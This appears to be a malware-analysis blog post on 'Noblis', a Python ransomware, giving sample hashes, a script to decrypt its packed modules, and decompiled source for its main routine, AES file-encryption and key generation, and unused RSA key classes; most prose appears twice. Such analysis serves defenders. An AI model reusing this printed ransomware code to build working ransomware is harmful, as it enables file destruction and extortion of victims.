Noblis is in-development ransomware which is built in python and packed by PyInstaller.
You can refer my previous blog to know how to identify and reverse python built execuctables.
We have following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]
The sample is UPX packed, after unpacking we get following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762
The binary has many python reference strings and a zlib archive appended to it as an overlay.
You can use PyExtractor tool to extract the python code from the binary.
After extraction we get AES encrypted python modules.
AES key is present in file pyimod00_crypto_key which is "9876501234DAVIDM" and you can use below script to extract those modules.
Let's move towards the ransomware.
On execution of ransomware, It creates a mutex of name "mutex_rr_windows", if the mutex is already created it will open only gui panel otherwise it runs crypter.
The main wrapper of this ransomware is below.
It checks a file encrypted_files.txt in %APPDATA%, if it is not there it will proceed the encryption.
It initializes the encryption key, find the specified files for encryption, encrypt them, makes entry of each encrypted file in encrypted_files.txt and displays a gui form.
The ransomware has independent configuration file (runtime.cfg) which is loaded at runtime.
Configuration file has encrypted file extension, ransom note, file type to be encrypted, BTC amount, wallet address etc.
Here, wallet address is invalid that's why we are calling it in-development ransomware.
Ransom note is in Spanish and it points to an handle @4v4t4r.
Let's have a look at encryption process.
If key.txt is not present in current directory, It will generates a AES key of size 32 bytes and store it on key.txt and at the time of encryption it generates an Initial Vector (IV), encrypts the files with AES-256 having extensions specified in configuration file.
First 16 bytes of every encrypted file is IV and rest are encrypted with this IV and key stored in key.txt.
After encryption of every files it will start a GUI panel shown below.
Decryption tool -
The ransomware has the code for RSA encryption but it is not used here, maybe it will come with RSA encryption in next version.
You can refer my previous blog to know how to identify and reverse python built execuctables.
We have following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]
The sample is UPX packed, after unpacking we get following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762
The binary has many python reference strings and a zlib archive appended to it as an overlay.
You can use PyExtractor tool to extract the python code from the binary.
After extraction we get AES encrypted python modules.
AES key is present in file pyimod00_crypto_key which is "9876501234DAVIDM" and you can use below script to extract those modules.
from Crypto.Cipher import AES import zlib import sys CRYPT_BLOCK_SIZE = 16 # key obtained from pyimod00_crypto_key key = '9876501234DAVIDM' inf = open(sys.argv[1], 'rb') # encrypted file input outf = open(sys.argv[1]+'.pyc', 'wb') # output file # Initialization vector iv = inf.read(CRYPT_BLOCK_SIZE) cipher = AES.new(key, AES.MODE_CFB, iv) # Decrypt and decompress plaintext = zlib.decompress(cipher.decrypt(inf.read())) # Write pyc header outf.write('\x03\xf3\x0d\x0a\0\0\0\0') # Write decrypted data outf.write(plaintext) inf.close() outf.close()
Let's move towards the ransomware.
On execution of ransomware, It creates a mutex of name "mutex_rr_windows", if the mutex is already created it will open only gui panel otherwise it runs crypter.
The main wrapper of this ransomware is below.
def __init__(self): ''' @summary: Constructor ''' self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. do nothing if not os.path.isfile(self.encrypted_file_list): return # Present GUI self.start_gui() # ALREADY ENCRYPTED # Present menu elif os.path.isfile(self.encrypted_file_list): self.start_gui()
It checks a file encrypted_files.txt in %APPDATA%, if it is not there it will proceed the encryption.
It initializes the encryption key, find the specified files for encryption, encrypt them, makes entry of each encrypted file in encrypted_files.txt and displays a gui form.
The ransomware has independent configuration file (runtime.cfg) which is loaded at runtime.
Configuration file has encrypted file extension, ransom note, file type to be encrypted, BTC amount, wallet address etc.
Here, wallet address is invalid that's why we are calling it in-development ransomware.
Ransom note is in Spanish and it points to an handle @4v4t4r.
Let's have a look at encryption process.
def init_keys(self, key=None): """ @summary: initialise the symmetric keys. Uses the provided key, or creates one @param key: If None provided, a new key is generated, otherwise the provided key is used """ if not key: self.load_symmetric_key() else: self.key = key def load_symmetric_key(self): if os.path.isfile('key.txt'): fh = open('key.txt', 'r') self.key = fh.read() fh.close() else: self.key = self.generate_key() def generate_key(self): key = ('').join((random.choice('0123456789ABCDEF') for i in range(32))) fh = open('key.txt', 'w') fh.write(key) fh.close() return key def encrypt_file(self, file, extension): """ @summary: Encrypts the target file @param file: Absolute path to the file to encrypt @param extension: The extension to add to the encrypted file """ file_details = self.process_file(file, 'encrypt', extension) if file_details['error']: return False try: fh_read = open(file_details['full_path'], 'rb') fh_write = open(file_details['locked_path'], 'wb') except IOError: return False while True: block = fh_read.read(self.BLOCK_SIZE_BYTES) if not block: break to_encrypt = self.pad(block) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) try: ciphertext = iv + cipher.encrypt(to_encrypt) except MemoryError: return False fh_write.write(ciphertext) fh_write.close() fh_read.close() file_details['state'] = 'encrypted' return file_details['locked_path']
If key.txt is not present in current directory, It will generates a AES key of size 32 bytes and store it on key.txt and at the time of encryption it generates an Initial Vector (IV), encrypts the files with AES-256 having extensions specified in configuration file.
First 16 bytes of every encrypted file is IV and rest are encrypted with this IV and key stored in key.txt.
After encryption of every files it will start a GUI panel shown below.
Decryption tool -
The ransomware has the code for RSA encryption but it is not used here, maybe it will come with RSA encryption in next version.
class GenerateKeys: def __init__(self): self.local_public_key = '' self.local_private_key = '' self.key_length = 2048 rsa_handle = RSA.generate(self.key_length) self.local_private_key = rsa_handle.exportKey('PEM') self.local_public_key = rsa_handle.publickey() self.local_public_key = self.local_public_key.exportKey('PEM') class EncryptKey: def __init__(self, recipient_public_key, sym_key): self.recipient_public_key = recipient_public_key self.key_to_encrypt = str(sym_key) self.encrypted_key = self.encrypt_key() def encrypt_key(self): rsa_handle = RSA.importKey(self.recipient_public_key) key = rsa_handle.encrypt(self.key_to_encrypt, 1) return key class DecryptKey: def __init__(self, private_key, sym_key, phrase): self.private_key = private_key self.key_to_decrypt = sym_key self.phrase = phrase self.decrypted_key = self.decrypt_key() def decrypt_key(self): rsa_handle = RSA.importKey(self.private_key, self.phrase) key = rsa_handle.decrypt(self.key_to_decrypt) return key